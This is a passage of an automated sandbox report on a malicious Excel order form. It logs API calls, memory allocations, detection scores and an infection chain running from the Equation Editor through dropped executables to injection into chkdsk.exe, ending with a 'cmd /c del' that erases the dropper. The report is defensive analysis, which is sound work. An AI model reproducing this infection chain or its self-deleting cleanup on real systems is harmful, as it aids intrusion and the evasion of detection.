Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_009FA37B 6_2_009FA37B
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_009C1489 6_2_009C1489
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_009E5485 6_2_009E5485
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_00A3443E 6_2_00A3443E
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_009ED47D 6_2_009ED47D
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_009CC5F0 6_2_009CC5F0
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_009B351F 6_2_009B351F
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_009F6540 6_2_009F6540
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_009B4680 6_2_009B4680
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_009BE6C1 6_2_009BE6C1
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_00A52622 6_2_00A52622
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_009FA634 6_2_009FA634
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_009BC7BC 6_2_009BC7BC
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_00A3579A 6_2_00A3579A
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_009E57C3 6_2_009E57C3
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_00A4F8EE 6_2_00A4F8EE
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_009BC85C 6_2_009BC85C
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_009D286D 6_2_009D286D
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_009B29B2 6_2_009B29B2
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_00A5098E 6_2_00A5098E
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_009C69FE 6_2_009C69FE
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_00A3394B 6_2_00A3394B
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_00A35955 6_2_00A35955
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_00A63A83 6_2_00A63A83
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_00A5CBA4 6_2_00A5CBA4
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_00A3DBDA 6_2_00A3DBDA
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_009D7B00 6_2_009D7B00
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_02441238 8_2_02441238
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0239E2E9 8_2_0239E2E9
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_023A2305 8_2_023A2305
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_023EA37B 8_2_023EA37B
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_023A7353 8_2_023A7353
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_023C63DB 8_2_023C63DB
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0239F3CF 8_2_0239F3CF
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_024463BF 8_2_024463BF
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0241D06D 8_2_0241D06D
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_023CD005 8_2_023CD005
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_023B905A 8_2_023B905A
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_023A3040 8_2_023A3040
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0239E0C6 8_2_0239E0C6
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_023EA634 8_2_023EA634
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_02442622 8_2_02442622
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_023A4680 8_2_023A4680
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_023AE6C1 8_2_023AE6C1
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_023AC7BC 8_2_023AC7BC
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0242579A 8_2_0242579A
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_023D57C3 8_2_023D57C3
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_023DD47D 8_2_023DD47D
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0242443E 8_2_0242443E
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_023B1489 8_2_023B1489
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_023D5485 8_2_023D5485
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_023A351F 8_2_023A351F
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_023E6540 8_2_023E6540
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_024205E3 8_2_024205E3
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_023BC5F0 8_2_023BC5F0
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_02453A83 8_2_02453A83
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_023C7B00 8_2_023C7B00
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_02426BCB 8_2_02426BCB
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0242DBDA 8_2_0242DBDA
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0244CBA4 8_2_0244CBA4
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_023C286D 8_2_023C286D
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_023AC85C 8_2_023AC85C
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0241F8C4 8_2_0241F8C4
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0243F8EE 8_2_0243F8EE
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0242394B 8_2_0242394B
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_02425955 8_2_02425955
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_023A29B2 8_2_023A29B2
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_023B69FE 8_2_023B69FE
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0244098E 8_2_0244098E
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_023D2E2F 8_2_023D2E2F
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_023BEE4C 8_2_023BEE4C
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_023B0F3F 8_2_023B0F3F
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_023CDF7C 8_2_023CDF7C
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0242BF14 8_2_0242BF14
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_02412FDC 8_2_02412FDC
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0243CFB1 8_2_0243CFB1
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0242AC5E 8_2_0242AC5E
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_023D0D3B 8_2_023D0D3B
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_023ACD5B 8_2_023ACD5B
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0243FDDD 8_2_0243FDDD
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0009927B 8_2_0009927B
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_00099280 8_2_00099280
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_000AE73A 8_2_000AE73A
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_000AD8FD 8_2_000AD8FD
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_000AE99C 8_2_000AE99C
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_000ADAD0 8_2_000ADAD0
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0009DC20 8_2_0009DC20
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_00092D88 8_2_00092D88
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_00092D90 8_2_00092D90
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_000AEDF4 8_2_000AEDF4
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_000ADEEC 8_2_000ADEEC
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_00092FB0 8_2_00092FB0
Found potential string decryption / allocating functions
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: String function: 0239E2A8 appears 58 times
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: String function: 0240F970 appears 84 times
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: String function: 023E3F92 appears 132 times
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: String function: 023E373B appears 248 times
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: String function: 0239DF5C appears 124 times
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: String function: 009F373B appears 186 times
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: String function: 009ADF5C appears 94 times
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: String function: 00F24599 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: String function: 00F22400 appears 54 times
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: String function: 009AE2A8 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: String function: 009F3F92 appears 86 times
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: String function: 00A1F970 appears 66 times
Contains functionality to call native functions
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0041A310 NtCreateFile, 6_2_0041A310
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0041A3C0 NtReadFile, 6_2_0041A3C0
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0041A440 NtClose, 6_2_0041A440
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0041A4F0 NtAllocateVirtualMemory, 6_2_0041A4F0
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0041A30A NtCreateFile, 6_2_0041A30A
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0041A43A NtClose, 6_2_0041A43A
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0041A4EA NtAllocateVirtualMemory, 6_2_0041A4EA
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_009A00C4 NtCreateFile,LdrInitializeThunk, 6_2_009A00C4
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_009A0048 NtProtectVirtualMemory,LdrInitializeThunk, 6_2_009A0048
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_009A0078 NtResumeThread,LdrInitializeThunk, 6_2_009A0078
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_009A07AC NtCreateMutant,LdrInitializeThunk, 6_2_009A07AC
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0099F9F0 NtClose,LdrInitializeThunk, 6_2_0099F9F0
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0099F900 NtReadFile,LdrInitializeThunk, 6_2_0099F900
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0099FAD0 NtAllocateVirtualMemory,LdrInitializeThunk, 6_2_0099FAD0
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0099FAE8 NtQueryInformationProcess,LdrInitializeThunk, 6_2_0099FAE8
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0099FBB8 NtQueryInformationToken,LdrInitializeThunk, 6_2_0099FBB8
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0099FB68 NtFreeVirtualMemory,LdrInitializeThunk, 6_2_0099FB68
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0099FC90 NtUnmapViewOfSection,LdrInitializeThunk, 6_2_0099FC90
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0099FC60 NtMapViewOfSection,LdrInitializeThunk, 6_2_0099FC60
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0099FD8C NtDelayExecution,LdrInitializeThunk, 6_2_0099FD8C
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0099FDC0 NtQuerySystemInformation,LdrInitializeThunk, 6_2_0099FDC0
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0099FEA0 NtReadVirtualMemory,LdrInitializeThunk, 6_2_0099FEA0
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0099FED0 NtAdjustPrivilegesToken,LdrInitializeThunk, 6_2_0099FED0
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0099FFB4 NtCreateSection,LdrInitializeThunk, 6_2_0099FFB4
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_009A10D0 NtOpenProcessToken, 6_2_009A10D0
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_009A0060 NtQuerySection, 6_2_009A0060
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_009A01D4 NtSetValueKey, 6_2_009A01D4
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_009A010C NtOpenDirectoryObject, 6_2_009A010C
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_009A1148 NtOpenThread, 6_2_009A1148
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0099F8CC NtWaitForSingleObject, 6_2_0099F8CC
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0099F938 NtWriteFile, 6_2_0099F938
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_009A1930 NtSetContextThread, 6_2_009A1930
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0099FAB8 NtQueryValueKey, 6_2_0099FAB8
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0099FA20 NtQueryInformationFile, 6_2_0099FA20
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0099FA50 NtEnumerateValueKey, 6_2_0099FA50
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0099FBE8 NtQueryVirtualMemory, 6_2_0099FBE8
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0099FB50 NtCreateKey, 6_2_0099FB50
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_023900C4 NtCreateFile,LdrInitializeThunk, 8_2_023900C4
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_023907AC NtCreateMutant,LdrInitializeThunk, 8_2_023907AC
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0238FAB8 NtQueryValueKey,LdrInitializeThunk, 8_2_0238FAB8
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0238FAE8 NtQueryInformationProcess,LdrInitializeThunk, 8_2_0238FAE8
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0238FAD0 NtAllocateVirtualMemory,LdrInitializeThunk, 8_2_0238FAD0
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0238FB68 NtFreeVirtualMemory,LdrInitializeThunk, 8_2_0238FB68
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0238FB50 NtCreateKey,LdrInitializeThunk, 8_2_0238FB50
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0238FBB8 NtQueryInformationToken,LdrInitializeThunk, 8_2_0238FBB8
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0238F900 NtReadFile,LdrInitializeThunk, 8_2_0238F900
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0238F9F0 NtClose,LdrInitializeThunk, 8_2_0238F9F0
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0238FED0 NtAdjustPrivilegesToken,LdrInitializeThunk, 8_2_0238FED0
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0238FFB4 NtCreateSection,LdrInitializeThunk, 8_2_0238FFB4
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0238FC60 NtMapViewOfSection,LdrInitializeThunk, 8_2_0238FC60
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0238FD8C NtDelayExecution,LdrInitializeThunk, 8_2_0238FD8C
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0238FDC0 NtQuerySystemInformation,LdrInitializeThunk, 8_2_0238FDC0
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_02390078 NtResumeThread, 8_2_02390078
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_02390060 NtQuerySection, 8_2_02390060
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_02390048 NtProtectVirtualMemory, 8_2_02390048
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_023910D0 NtOpenProcessToken, 8_2_023910D0
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0239010C NtOpenDirectoryObject, 8_2_0239010C
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_02391148 NtOpenThread, 8_2_02391148
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_023901D4 NtSetValueKey, 8_2_023901D4
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0238FA20 NtQueryInformationFile, 8_2_0238FA20
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0238FA50 NtEnumerateValueKey, 8_2_0238FA50
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0238FBE8 NtQueryVirtualMemory, 8_2_0238FBE8
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0238F8CC NtWaitForSingleObject, 8_2_0238F8CC
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0238F938 NtWriteFile, 8_2_0238F938
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_02391930 NtSetContextThread, 8_2_02391930
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0238FE24 NtWriteVirtualMemory, 8_2_0238FE24
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0238FEA0 NtReadVirtualMemory, 8_2_0238FEA0
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0238FF34 NtQueueApcThread, 8_2_0238FF34
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0238FFFC NtCreateProcessEx, 8_2_0238FFFC
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0238FC30 NtOpenProcess, 8_2_0238FC30
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0238FC48 NtSetInformationFile, 8_2_0238FC48
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_02390C40 NtGetContextThread, 8_2_02390C40
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0238FC90 NtUnmapViewOfSection, 8_2_0238FC90
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_0238FD5C NtEnumerateKey, 8_2_0238FD5C
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_02391D80 NtSuspendThread, 8_2_02391D80
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_000AA310 NtCreateFile, 8_2_000AA310
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_000AA3C0 NtReadFile, 8_2_000AA3C0
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_000AA440 NtClose, 8_2_000AA440
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_000AA4F0 NtAllocateVirtualMemory, 8_2_000AA4F0
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_000AA30A NtCreateFile, 8_2_000AA30A
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_000AA43A NtClose, 8_2_000AA43A
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 8_2_000AA4EA NtAllocateVirtualMemory, 8_2_000AA4EA
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 77620000 page execute and read and write Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 77740000 page execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Memory allocated: 77620000 page execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Memory allocated: 77740000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Memory allocated: 77620000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Memory allocated: 77740000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Memory allocated: 77620000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Memory allocated: 77740000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe Memory allocated: 77620000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe Memory allocated: 77740000 page execute and read and write Jump to behavior
Source: BON DE COMMANDE POUR CHENOUFI AEK.xlsx Virustotal: Detection: 38%
Source: BON DE COMMANDE POUR CHENOUFI AEK.xlsx ReversingLabs: Detection: 26%
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe"
Source: C:\Users\Public\vbc.exe Process created: C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Process created: C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\chkdsk.exe C:\Windows\SysWOW64\chkdsk.exe
Source: C:\Windows\SysWOW64\chkdsk.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\AppData\Local\Temp\bmexo.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe" Jump to behavior
Source: C:\Users\Public\vbc.exe Process created: C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Process created: C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\AppData\Local\Temp\bmexo.exe" Jump to behavior
Source: C:\Users\Public\vbc.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32 Jump to behavior
Source: C:\Users\Public\vbc.exe Code function: 4_2_00403646 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,ExitProcess,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 4_2_00403646
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\Desktop\~$BON DE COMMANDE POUR CHENOUFI AEK.xlsx Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVR6595.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.expl.evad.winXLSX@11/16@0/1
Source: C:\Users\Public\vbc.exe Code function: 4_2_004021AA CoCreateInstance, 4_2_004021AA
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\Public\vbc.exe Code function: 4_2_00404ABB GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW, 4_2_00404ABB
Source: explorer.exe, 00000007.00000000.1012455681.0000000003B10000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: .VBPud<_
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: C:\wxiwy\cojnmd\dyrz\70c437f178a447d5b5e03abf78ad86d5\khqwan\zzevlnko\Release\zzevlnko.pdb source: vbc.exe, 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmp, bmexo.exe, 00000005.00000002.979347417.0000000000F2E000.00000002.00000001.01000000.00000005.sdmp, bmexo.exe, 00000005.00000000.968231879.0000000000F2E000.00000002.00000001.01000000.00000005.sdmp, bmexo.exe, 00000006.00000000.974589862.0000000000F2E000.00000002.00000001.01000000.00000005.sdmp, chkdsk.exe, 00000008.00000002.1174039918.0000000002887000.00000004.10000000.00040000.00000000.sdmp, chkdsk.exe, 00000008.00000002.1173217045.00000000003B3000.00000004.00000020.00020000.00000000.sdmp, nsmD99.tmp.4.dr, bmexo.exe.4.dr
Source: Binary string: chkdsk.pdb source: bmexo.exe, 00000006.00000002.1050114953.0000000000030000.00000040.10000000.00040000.00000000.sdmp, bmexo.exe, 00000006.00000002.1050401037.0000000000714000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: bmexo.exe, bmexo.exe, 00000006.00000003.981359909.0000000000800000.00000004.00000800.00020000.00000000.sdmp, bmexo.exe, 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, bmexo.exe, 00000006.00000003.979000602.00000000002B0000.00000004.00000800.00020000.00000000.sdmp, bmexo.exe, 00000006.00000002.1051582479.0000000000B10000.00000040.00000800.00020000.00000000.sdmp, chkdsk.exe, chkdsk.exe, 00000008.00000002.1173724762.0000000002500000.00000040.00000800.00020000.00000000.sdmp, chkdsk.exe, 00000008.00000003.1050200391.0000000002090000.00000004.00000800.00020000.00000000.sdmp, chkdsk.exe, 00000008.00000003.1051411235.00000000021F0000.00000004.00000800.00020000.00000000.sdmp, chkdsk.exe, 00000008.00000002.1173489046.0000000002380000.00000040.00000800.00020000.00000000.sdmp
Uses code obfuscation techniques (call, push, ret)
